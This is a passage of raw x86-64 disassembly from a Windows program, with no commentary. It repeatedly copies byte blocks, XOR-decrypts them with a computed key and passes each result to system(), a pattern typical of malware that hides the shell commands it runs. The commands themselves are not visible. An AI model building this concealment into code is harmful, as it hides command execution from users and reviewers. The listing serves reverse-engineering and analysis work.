punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000adb0
cmp r8d, 0x9a
jge 0x14000af06
movsxd rax, r8d
lea r9, [rbp + 0x1dd0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x14000aed0
lea rcx, [rbp + 0x1dd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x98680]
lea rcx, [rbp + 0x3060]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp r14d, 2
jl 0x14000b101
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3064]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x14000aff0
cmp r8d, 0xc2
jge 0x14000b146
movsxd rax, r8d
lea r9, [rbp + 0x3060]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x14000b110
lea rcx, [rbp + 0x3060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x96830]
lea rcx, [rbp + 0x3130]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp r14d, 2
jl 0x14000b341
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3134]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x14000b230
cmp r8d, 0xc2
jge 0x14000b386
movsxd rax, r8d
lea r9, [rbp + 0x3130]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x14000b350
lea rcx, [rbp + 0x3130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x96fb0]
lea rcx, [rbp + 0x2ee0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r14d, 2
jl 0x14000b568
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ee4]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x14000b460
jmp 0x14000b5b6
lea r9, [rbp + 0x2ee0]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x14000b580
lea rcx, [rbp + 0x2ee0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x98530]
lea rcx, [rbp + 0x2fa0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r14d, 2
jl 0x14000b798
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2fa4]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x14000b690
jmp 0x14000b7e6
lea r9, [rbp + 0x2fa0]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x14000b7b0
lea rcx, [rbp + 0x2fa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140098200]
movups xmmword [rbp + 0x2430], xmm0
movups xmm0, xmmword [0x140098220]
movups xmmword [rbp + 0x2450], xmm0
movups xmm0, xmmword [0x140098240]
movups xmm1, xmmword [0x140098210]
movups xmmword [rbp + 0x2470], xmm0
movups xmmword [rbp + 0x2440], xmm1
movups xmm0, xmmword [0x140098260]
movups xmm1, xmmword [0x140098230]
movups xmmword [rbp + 0x2490], xmm0
movups xmmword [rbp + 0x2460], xmm1
movups xmm0, xmmword [0x140098280]
movups xmm1, xmmword [0x140098250]
movups xmmword [rbp + 0x24b0], xmm0
movups xmmword [rbp + 0x2480], xmm1
movsd xmm0, qword [0x140098290]
movups xmm1, xmmword [0x140098270]
movsd qword [rbp + 0x24c0], xmm0
movups xmmword [rbp + 0x24a0], xmm1
cmp r14d, 2
jl 0x14000b9d8
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2434]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x14000b8d0
jmp 0x14000ba26
lea r9, [rbp + 0x2430]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x14000b9f0
lea rcx, [rbp + 0x2430]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097c00]
movups xmmword [rbp + 0x1c90], xmm0
movups xmm0, xmmword [0x140097c20]
movups xmmword [rbp + 0x1cb0], xmm0
movups xmm0, xmmword [0x140097c40]
movups xmm1, xmmword [0x140097c10]
movups xmmword [rbp + 0x1cd0], xmm0
movups xmmword [rbp + 0x1ca0], xmm1
movups xmm0, xmmword [0x140097c60]
movups xmm1, xmmword [0x140097c30]
movups xmmword [rbp + 0x1cf0], xmm0
movups xmmword [rbp + 0x1cc0], xmm1
movups xmm0, xmmword [0x140097c80]
movups xmm1, xmmword [0x140097c50]
movups xmmword [rbp + 0x1d10], xmm0
movups xmmword [rbp + 0x1ce0], xmm1
movzx eax, byte [0x140097c98]
movsd xmm0, qword [0x140097c90]
movups xmm1, xmmword [0x140097c70]
mov byte [rbp + 0x1d28], al
movsd qword [rbp + 0x1d20], xmm0
movups xmmword [rbp + 0x1d00], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000bc31
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1c94]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000bb20
cmp r8d, 0x99
jge 0x14000bc76
movsxd rax, r8d
lea r9, [rbp + 0x1c90]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x14000bc40
lea rcx, [rbp + 0x1c90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096910]
movups xmmword [rbp + 0x1120], xmm0
movups xmm0, xmmword [0x140096930]
movups xmm1, xmmword [0x140096920]
movups xmmword [rbp + 0x1140], xmm0
movups xmmword [rbp + 0x1130], xmm1
mov eax, dword [0x1400969a0]
movups xmm0, xmmword [0x140096950]
movups xmm1, xmmword [0x140096940]
mov dword [rbp + 0x11b0], eax
movups xmmword [rbp + 0x1160], xmm0
movups xmmword [rbp + 0x1150], xmm1
movzx eax, word [0x1400969a4]
movups xmm0, xmmword [0x140096970]
movups xmm1, xmmword [0x140096960]
mov word [rbp + 0x11b4], ax
movups xmmword [rbp + 0x1180], xmm0
movups xmmword [rbp + 0x1170], xmm1
movzx eax, byte [0x1400969a6]
movups xmm0, xmmword [0x140096990]
movups xmm1, xmmword [0x140096980]
mov byte [rbp + 0x11b6], al
movups xmmword [rbp + 0x11a0], xmm0
movups xmmword [rbp + 0x1190], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000be81
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1124]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000bd70
cmp r8d, 0x97
jge 0x14000bec6
movsxd rax, r8d
lea r9, [rbp + 0x1120]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000be90
lea rcx, [rbp + 0x1120]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140098170]
movups xmmword [rbp + 0x23a0], xmm0
movups xmm0, xmmword [0x140098190]
movups xmm1, xmmword [0x140098180]
movups xmmword [rbp + 0x23c0], xmm0
movups xmmword [rbp + 0x23b0], xmm1
movups xmm0, xmmword [0x1400981b0]
movups xmm1, xmmword [0x1400981a0]
movups xmmword [rbp + 0x23e0], xmm0
movups xmmword [rbp + 0x23d0], xmm1
movups xmm0, xmmword [0x1400981d0]
movups xmm1, xmmword [0x1400981c0]
movups xmmword [rbp + 0x2400], xmm0
movups xmmword [rbp + 0x23f0], xmm1
movsd xmm0, qword [0x1400981f0]
movups xmm1, xmmword [0x1400981e0]
movsd qword [rbp + 0x2420], xmm0
movups xmmword [rbp + 0x2410], xmm1
cmp r14d, 2
jl 0x14000c0a8
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x23a4]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
